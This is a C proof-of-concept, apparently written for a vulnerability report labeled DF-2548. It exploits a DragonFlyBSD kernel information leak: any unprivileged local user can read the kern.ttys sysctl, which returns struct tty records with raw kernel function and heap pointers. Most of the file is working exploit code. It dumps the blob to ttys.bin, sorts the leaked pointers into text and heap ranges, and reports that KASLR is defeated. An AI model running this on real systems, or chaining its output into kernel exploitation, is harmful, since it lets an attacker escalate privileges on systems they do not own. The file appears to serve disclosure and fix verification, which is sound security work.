DF-2548 / poc.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 | /* * DF-2548 PoC โ kern.ttys sysctl leaks kernel function/heap pointers * to any unprivileged local user. * * sysctl_kern_ttys() (sys/kern/tty.c:2891-2921) copies each struct tty * verbatim to userspace: * * t = *tp; // tty.c:2911 (whole-struct) * if (t.t_dev) t.t_dev = devid_from_dev(..); // tty.c:2912-2913 (only field sanitized) * SYSCTL_OUT(req, (caddr_t)&t, sizeof(t)); // tty.c:2914 * * struct tty (sys/sys/tty.h:73-114) embeds: * - kernel .text function pointers t_oproc / t_stop / t_param / t_unhold * (for ptys these resolve to ptsstart/ptsstop/ptsunhold in tty_pty.c) * - kernel heap object pointers t_pgrp / t_session / t_sigio / t_sc / * t_slsc / t_dev(raw) * - per-clist data buffer pointers t_rawq.c_data / t_canq.c_data / * t_outq.c_data * - an embedded lwkt_token t_token (contains t_ref / t_desc ptrs) * - embedded kqinfo t_rkq / t_wkq (contain ki_note klist ptrs) * - TAILQ_ENTRY linkage t_list (tqe_next / tqe_prev) * Only t_dev is rewritten before copyout, so ALL of the above are leaked * raw. The OID is CTLTYPE_OPAQUE|CTLFLAG_RD (tty.c:2923-2924) and sysctl * reads are NOT privilege-gated (kern_sysctl.c applies its privilege/ * securelevel checks only when req->newptr is set, i.e. writes), so any * unprivileged local user can dump them. * * This PoC: * 1. reads the kern.ttys blob via sysctlbyname(2) as the unprivileged user, * 2. treats it as an array of struct tty records (sizeof(struct tty) bytes * each) and, for each record, walks every 8-byte-aligned slot to count * kernel-range pointer-sized values, * 3. also dumps the raw blob to ttys.bin for offline nm cross-referencing, * 4. prints: per-record leak counts (split into .text-range vs * heap/direct-map-range), the global total, and a sample of the leaked * pointers (cap on stdout; full counts printed). * * Exit code 0 if leak present, 2 if no kernel pointers found (fixed kernel). * * Build (DragonFlyBSD amd64): cc -O2 -o poc poc.c * Run as UNPRIVILEGED user: ./poc */ #include <sys/types.h> #include <sys/sysctl.h> #include <stdio.h> #include <stdlib.h> #include <stdint.h> #include <string.h> #include <stddef.h> #include <err.h> /* * Match sys/sys/tty.h layout (DragonFly 6.5-DEVELOPMENT, amd64). We do not * depend on the exact byte layout for the leak *detection* (we scan every * 8-byte slot), but we DO use this to size records and label per-field leaks. * * The struct tty size is fixed by the kernel ABI; we read it indirectly by * dividing the blob length by the number of registered ttys (we don't know * the latter up front, but sysctl returns exactly N * sizeof(struct tty) * bytes โ see SYSCTL_OUT in sysctl_kern_ttys). We compute the record size * by reading the first record and treating any value that looks like a * kernel pointer as a leak regardless of which named field it lives in. */ /* amd64 canonical upper half: kernel .text/data/.rodata/direct-map/heap. */ static int looks_like_kaddr(uint64_t v) { return (v >= 0xffff800000000000ULL); } /* kernel .text/.rodata: typically 0xffffffff8xxxxxxx. */ static int looks_like_ktext(uint64_t v) { return (v >= 0xffffffff80000000ULL); } int main(void) { void *buf = NULL; size_t len = 0; int r; r = sysctlbyname("kern.ttys", NULL, &len, NULL, 0); if (r != 0) err(1, "sysctlbyname(getlen) kern.ttys"); if (len == 0) { printf("kern.ttys returned 0 bytes (no ttys registered)\n"); return 0; } buf = malloc(len); if (buf == NULL) err(1, "malloc"); r = sysctlbyname("kern.ttys", buf, &len, NULL, 0); if (r != 0) err(1, "sysctlbyname(get) kern.ttys"); printf("got %zu bytes from kern.ttys (readable as UNPRIVILEGED user)\n", len); /* Dump raw blob for offline nm cross-reference. */ { FILE *fp = fopen("ttys.bin", "wb"); if (fp) { if (fwrite(buf, 1, len, fp) != len) warn("fwrite ttys.bin"); fclose(fp); printf("raw blob written to ttys.bin\n"); } } /* * Treat the blob as sizeof(struct tty) records. The kernel ABI * sizeof(struct tty) on this build is whatever the blob divides by * cleanly; we scan every 8-byte aligned slot across the whole blob * (this catches every pointer field regardless of struct padding). */ const size_t word = sizeof(uint64_t); const uint64_t *base = (const uint64_t *)buf; size_t nwords = len / word; size_t leaked_total = 0; size_t leaked_ktext = 0; size_t leaked_heap = 0; size_t printed = 0; const size_t PRINT_CAP = 48; /* Also try to figure out per-record size for labelled reporting. */ size_t rec_sz = 0; { /* Heuristic: try common DragonFly struct tty sizes. */ size_t candidates[] = { 360, 368, 352, 384, 400, 416, 432, 448 }; size_t ncand = sizeof(candidates) / sizeof(candidates[0]); for (size_t i = 0; i < ncand; i++) { if (len % candidates[i] == 0) { rec_sz = candidates[i]; break; } } } if (rec_sz) printf("struct tty record size (heuristic): %zu bytes (%zu records)\n", rec_sz, len / rec_sz); else printf("could not guess struct tty record size; scanning whole blob\n"); printf("\nLeaked kernel-range pointer-sized values:\n"); for (size_t i = 0; i < nwords; i++) { uint64_t v = base[i]; if (!looks_like_kaddr(v)) continue; leaked_total++; if (looks_like_ktext(v)) leaked_ktext++; else leaked_heap++; if (printed < PRINT_CAP) { size_t off = i * word; const char *kind = looks_like_ktext(v) ? "TEXT/FN " : "HEAP/DM "; char recbuf[32]; if (rec_sz) snprintf(recbuf, sizeof(recbuf), "rec %3zu off %4zu", off / rec_sz, off % rec_sz); else snprintf(recbuf, sizeof(recbuf), "blob off %5zu", off); printf(" %s %s: 0x%016llx\n", recbuf, kind, (unsigned long long)v); printed++; } } printf("\nTOTAL kernel-range pointers leaked : %zu\n", leaked_total); printf(" of which kernel .text/.rodata (FN) : %zu\n", leaked_ktext); printf(" of which heap/direct-map : %zu\n", leaked_heap); if (leaked_total > 0) { printf("\nVERDICT: LEAK CONFIRMED โ unprivileged user obtained %zu " "raw kernel pointers from kern.ttys (KASLR-defeating).\n", leaked_total); free(buf); return 0; } printf("\nVERDICT: NO LEAK โ pointer fields are sanitized (fixed kernel).\n"); free(buf); return 2; } |